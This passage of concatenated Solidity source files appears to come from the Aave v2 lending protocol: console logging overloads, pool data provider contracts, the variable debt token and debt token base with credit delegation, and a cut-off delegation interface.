p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUiPoolDataProvider} from './interfaces/IUiPoolDataProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol'; import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol'; import {WadRayMath} from '../protocol/libraries/math/WadRayMath.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import { DefaultReserveInterestRateStrategy } from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol'; contract UiPoolDataProvider is IUiPoolDataProvider { using WadRayMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; address public constant MOCK_USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96; function getInterestRateStrategySlopes(DefaultReserveInterestRateStrategy interestRateStrategy) internal view returns ( uint256, uint256, uint256, uint256 ) { return ( interestRateStrategy.variableRateSlope1(), interestRateStrategy.variableRateSlope2(), interestRateStrategy.stableRateSlope1(), interestRateStrategy.stableRateSlope2() ); } function getReservesData(ILendingPoolAddressesProvider provider, address user) external view override returns ( AggregatedReserveData[] memory, UserReserveData[] memory, uint256 ) { ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); IPriceOracleGetter oracle = IPriceOracleGetter(provider.getPriceOracle()); address[] memory reserves = lendingPool.getReservesList(); DataTypes.UserConfigurationMap memory userConfig = lendingPool.getUserConfiguration(user); AggregatedReserveData[] memory reservesData = new AggregatedReserveData[](reserves.length); UserReserveData[] memory userReservesData = new UserReserveData[](user != address(0) ? reserves.length : 0); for (uint256 i = 0; i < reserves.length; i++) { AggregatedReserveData memory reserveData = reservesData[i]; reserveData.underlyingAsset = reserves[i]; // reserve current state DataTypes.ReserveData memory baseData = lendingPool.getReserveData(reserveData.underlyingAsset); reserveData.liquidityIndex = baseData.liquidityIndex; reserveData.variableBorrowIndex = baseData.variableBorrowIndex; reserveData.liquidityRate = baseData.currentLiquidityRate; reserveData.variableBorrowRate = baseData.currentVariableBorrowRate; reserveData.stableBorrowRate = baseData.currentStableBorrowRate; reserveData.lastUpdateTimestamp = baseData.lastUpdateTimestamp; reserveData.aTokenAddress = baseData.aTokenAddress; reserveData.stableDebtTokenAddress = baseData.stableDebtTokenAddress; reserveData.variableDebtTokenAddress = baseData.variableDebtTokenAddress; reserveData.interestRateStrategyAddress = baseData.interestRateStrategyAddress; reserveData.priceInEth = oracle.getAssetPrice(reserveData.underlyingAsset); reserveData.availableLiquidity = IERC20Detailed(reserveData.underlyingAsset).balanceOf( reserveData.aTokenAddress ); ( reserveData.totalPrincipalStableDebt, , reserveData.averageStableRate, reserveData.stableDebtLastUpdateTimestamp ) = IStableDebtToken(reserveData.stableDebtTokenAddress).getSupplyData(); reserveData.totalScaledVariableDebt = IVariableDebtToken(reserveData.variableDebtTokenAddress) .scaledTotalSupply(); // reserve configuration // we're getting this info from the aToken, because some of assets can be not compliant with ETC20Detailed reserveData.symbol = IERC20Detailed(reserveData.aTokenAddress).symbol(); reserveData.name = ''; ( reserveData.baseLTVasCollateral, reserveData.reserveLiquidationThreshold, reserveData.reserveLiquidationBonus, reserveData.decimals, reserveData.reserveFactor ) = baseData.configuration.getParamsMemory(); ( reserveData.isActive, reserveData.isFrozen, reserveData.borrowingEnabled, reserveData.stableBorrowRateEnabled ) = baseData.configuration.getFlagsMemory(); reserveData.usageAsCollateralEnabled = reserveData.baseLTVasCollateral != 0; ( reserveData.variableRateSlope1, reserveData.variableRateSlope2, reserveData.stableRateSlope1, reserveData.stableRateSlope2 ) = getInterestRateStrategySlopes( DefaultReserveInterestRateStrategy(reserveData.interestRateStrategyAddress) ); if (user != address(0)) { // user reserve data userReservesData[i].underlyingAsset = reserveData.underlyingAsset; userReservesData[i].scaledATokenBalance = IAToken(reserveData.aTokenAddress) .scaledBalanceOf(user); userReservesData[i].usageAsCollateralEnabledOnUser = userConfig.isUsingAsCollateral(i); if (userConfig.isBorrowing(i)) { userReservesData[i].scaledVariableDebt = IVariableDebtToken( reserveData .variableDebtTokenAddress ) .scaledBalanceOf(user); userReservesData[i].principalStableDebt = IStableDebtToken( reserveData .stableDebtTokenAddress ) .principalBalanceOf(user); if (userReservesData[i].principalStableDebt != 0) { userReservesData[i].stableBorrowRate = IStableDebtToken( reserveData .stableDebtTokenAddress ) .getUserStableRate(user); userReservesData[i].stableBorrowLastUpdateTimestamp = IStableDebtToken( reserveData .stableDebtTokenAddress ) .getUserLastUpdated(user); } } } } return (reservesData, userReservesData, oracle.getAssetPrice(MOCK_USD_ADDRESS)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; interface IUiPoolDataProvider { struct AggregatedReserveData { address underlyingAsset; string name; string symbol; uint256 decimals; uint256 baseLTVasCollateral; uint256 reserveLiquidationThreshold; uint256 reserveLiquidationBonus; uint256 reserveFactor; bool usageAsCollateralEnabled; bool borrowingEnabled; bool stableBorrowRateEnabled; bool isActive; bool isFrozen; // base data uint128 liquidityIndex; uint128 variableBorrowIndex; uint128 liquidityRate; uint128 variableBorrowRate; uint128 stableBorrowRate; uint40 lastUpdateTimestamp; address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; address interestRateStrategyAddress; // uint256 availableLiquidity; uint256 totalPrincipalStableDebt; uint256 averageStableRate; uint256 stableDebtLastUpdateTimestamp; uint256 totalScaledVariableDebt; uint256 priceInEth; uint256 variableRateSlope1; uint256 variableRateSlope2; uint256 stableRateSlope1; uint256 stableRateSlope2; } // // struct ReserveData { // uint256 averageStableBorrowRate; // uint256 totalLiquidity; // } struct UserReserveData { address underlyingAsset; uint256 scaledATokenBalance; bool usageAsCollateralEnabledOnUser; uint256 stableBorrowRate; uint256 scaledVariableDebt; uint256 principalStableDebt; uint256 stableBorrowLastUpdateTimestamp; } // // struct ATokenSupplyData { // string name; // string symbol; // uint8 decimals; // uint256 totalSupply; // address aTokenAddress; // } function getReservesData(ILendingPoolAddressesProvider provider, address user) external view returns ( AggregatedReserveData[] memory, UserReserveData[] memory, uint256 ); // function getUserReservesData(ILendingPoolAddressesProvider provider, address user) // external // view // returns (UserReserveData[] memory); // // function getAllATokenSupply(ILendingPoolAddressesProvider provider) // external // view // returns (ATokenSupplyData[] memory); // // function getATokenSupply(address[] calldata aTokens) // external // view // returns (ATokenSupplyData[] memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; contract AaveProtocolDataProvider { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; address constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2; address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; struct TokenData { string symbol; address tokenAddress; } ILendingPoolAddressesProvider public immutable ADDRESSES_PROVIDER; constructor(ILendingPoolAddressesProvider addressesProvider) public { ADDRESSES_PROVIDER = addressesProvider; } function getAllReservesTokens() external view returns (TokenData[] memory) { ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()); address[] memory reserves = pool.getReservesList(); TokenData[] memory reservesTokens = new TokenData[](reserves.length); for (uint256 i = 0; i < reserves.length; i++) { if (reserves[i] == MKR) { reservesTokens[i] = TokenData({symbol: 'MKR', tokenAddress: reserves[i]}); continue; } if (reserves[i] == ETH) { reservesTokens[i] = TokenData({symbol: 'ETH', tokenAddress: reserves[i]}); continue; } reservesTokens[i] = TokenData({ symbol: IERC20Detailed(reserves[i]).symbol(), tokenAddress: reserves[i] }); } return reservesTokens; } function getAllATokens() external view returns (TokenData[] memory) { ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()); address[] memory reserves = pool.getReservesList(); TokenData[] memory aTokens = new TokenData[](reserves.length); for (uint256 i = 0; i < reserves.length; i++) { DataTypes.ReserveData memory reserveData = pool.getReserveData(reserves[i]); aTokens[i] = TokenData({ symbol: IERC20Detailed(reserveData.aTokenAddress).symbol(), tokenAddress: reserveData.aTokenAddress }); } return aTokens; } function getReserveConfigurationData(address asset) external view returns ( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ) { DataTypes.ReserveConfigurationMap memory configuration = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getConfiguration(asset); (ltv, liquidationThreshold, liquidationBonus, decimals, reserveFactor) = configuration .getParamsMemory(); (isActive, isFrozen, borrowingEnabled, stableBorrowRateEnabled) = configuration .getFlagsMemory(); usageAsCollateralEnabled = liquidationThreshold > 0; } function getReserveData(address asset) external view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); return ( IERC20Detailed(asset).balanceOf(reserve.aTokenAddress), IERC20Detailed(reserve.stableDebtTokenAddress).totalSupply(), IERC20Detailed(reserve.variableDebtTokenAddress).totalSupply(), reserve.currentLiquidityRate, reserve.currentVariableBorrowRate, reserve.currentStableBorrowRate, IStableDebtToken(reserve.stableDebtTokenAddress).getAverageStableRate(), reserve.liquidityIndex, reserve.variableBorrowIndex, reserve.lastUpdateTimestamp ); } function getUserReserveData(address asset, address user) external view returns ( uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); DataTypes.UserConfigurationMap memory userConfig = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getUserConfiguration(user); currentATokenBalance = IERC20Detailed(reserve.aTokenAddress).balanceOf(user); currentVariableDebt = IERC20Detailed(reserve.variableDebtTokenAddress).balanceOf(user); currentStableDebt = IERC20Detailed(reserve.stableDebtTokenAddress).balanceOf(user); principalStableDebt = IStableDebtToken(reserve.stableDebtTokenAddress).principalBalanceOf(user); scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledBalanceOf(user); liquidityRate = reserve.currentLiquidityRate; stableBorrowRate = IStableDebtToken(reserve.stableDebtTokenAddress).getUserStableRate(user); stableRateLastUpdated = IStableDebtToken(reserve.stableDebtTokenAddress).getUserLastUpdated( user ); usageAsCollateralEnabled = userConfig.isUsingAsCollateral(reserve.id); } function getReserveTokensAddresses(address asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); return ( reserve.aTokenAddress, reserve.stableDebtTokenAddress, reserve.variableDebtTokenAddress ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {DebtTokenBase} from './base/DebtTokenBase.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/ contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; ILendingPool internal _pool; address internal _underlyingAsset; IAaveIncentivesController internal _incentivesController; /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) public override initializer { _setName(debtTokenName); _setSymbol(debtTokenSymbol); _setDecimals(debtTokenDecimals); _pool = pool; _underlyingAsset = underlyingAsset; _incentivesController = incentivesController; emit Initialized( underlyingAsset, address(pool), address(incentivesController), debtTokenDecimals, debtTokenName, debtTokenSymbol, params ); } /** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/ function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } /** * @dev Calculates the accumulated debt balance of the user * @return The debt balance of the user **/ function balanceOf(address user) public view virtual override returns (uint256) { uint256 scaledBalance = super.balanceOf(user); if (scaledBalance == 0) { return 0; } return scaledBalance.rayMul(_pool.getReserveNormalizedVariableDebt(_underlyingAsset)); } /** * @dev Mints debt token to the `onBehalfOf` address * - Only callable by the LendingPool * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } uint256 previousBalance = super.balanceOf(onBehalfOf); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(onBehalfOf, amountScaled); emit Transfer(address(0), onBehalfOf, amount); emit Mint(user, onBehalfOf, amount, index); return previousBalance == 0; } /** * @dev Burns user variable debt * - Only callable by the LendingPool * @param user The user whose debt is getting burned * @param amount The amount getting burned * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); emit Transfer(user, address(0), amount); emit Burn(user, amount, index); } /** * @dev Returns the principal debt balance of the user from * @return The debt balance of the user since the last burn/mint action **/ function scaledBalanceOf(address user) public view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the total supply of the variable debt token. Represents the total debt accrued by the users * @return The total supply **/ function totalSupply() public view virtual override returns (uint256) { return super.totalSupply().rayMul(_pool.getReserveNormalizedVariableDebt(_underlyingAsset)); } /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/ function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /** * @dev Returns the principal balance of the user and principal total supply. * @param user The address of the user * @return The principal balance of the user * @return The principal total supply **/ function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); } /** * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH) **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IAaveIncentivesController) { return _getIncentivesController(); } /** * @dev Returns the address of the lending pool where this aToken is used **/ function POOL() public view returns (ILendingPool) { return _pool; } function _getIncentivesController() internal view override returns (IAaveIncentivesController) { return _incentivesController; } function _getUnderlyingAssetAddress() internal view override returns (address) { return _underlyingAsset; } function _getLendingPool() internal view override returns (ILendingPool) { return _pool; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from '../../../interfaces/ILendingPool.sol'; import {ICreditDelegationToken} from '../../../interfaces/ICreditDelegationToken.sol'; import { VersionedInitializable } from '../../libraries/aave-upgradeability/VersionedInitializable.sol'; import {IncentivizedERC20} from '../IncentivizedERC20.sol'; import {Errors} from '../../libraries/helpers/Errors.sol'; /** * @title DebtTokenBase * @notice Base contract for different types of debt tokens, like StableDebtToken or VariableDebtToken * @author Aave */ abstract contract DebtTokenBase is IncentivizedERC20('DEBTTOKEN_IMPL', 'DEBTTOKEN_IMPL', 0), VersionedInitializable, ICreditDelegationToken { mapping(address => mapping(address => uint256)) internal _borrowAllowances; /** * @dev Only lending pool can call functions marked by this modifier **/ modifier onlyLendingPool { require(_msgSender() == address(_getLendingPool()), Errors.CT_CALLER_MUST_BE_LENDING_POOL); _; } /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function approveDelegation(address delegatee, uint256 amount) external override { _borrowAllowances[_msgSender()][delegatee] = amount; emit BorrowAllowanceDelegated(_msgSender(), delegatee, _getUnderlyingAssetAddress(), amount); } /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view override returns (uint256) { return _borrowAllowances[fromUser][toUser]; } /** * @dev Being non transferrable, the debt token does not implement any of the * standard ERC20 functions for transfer and allowance. **/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { recipient; amount; revert('TRANSFER_NOT_SUPPORTED'); } function allowance(address owner, address spender) public view virtual override returns (uint256) { owner; spender; revert('ALLOWANCE_NOT_SUPPORTED'); } function approve(address spender, uint256 amount) public virtual override returns (bool) { spender; amount; revert('APPROVAL_NOT_SUPPORTED'); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { sender; recipient; amount; revert('TRANSFER_NOT_SUPPORTED'); } function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) { spender; addedValue; revert('ALLOWANCE_NOT_SUPPORTED'); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) { spender; subtractedValue; revert('ALLOWANCE_NOT_SUPPORTED'); } function _decreaseBorrowAllowance( address delegator, address delegatee, uint256 amount ) internal { uint256 newAllowance = _borrowAllowances[delegator][delegatee].sub(amount, Errors.BORROW_ALLOWANCE_NOT_ENOUGH); _borrowAllowances[delegator][delegatee] = newAllowance; emit BorrowAllowanceDelegated(delegator, delegatee, _getUnderlyingAssetAddress(), newAllowance); } function _getUnderlyingAssetAddress() internal view virtual returns (address); function _getLendingPool() internal view virtual returns (ILendingPool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface ICreditDelegationToken { event BorrowAllowanceDelegated( address indexed fromUser, address indexed toUser, address asset, uint256 amount ); /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function 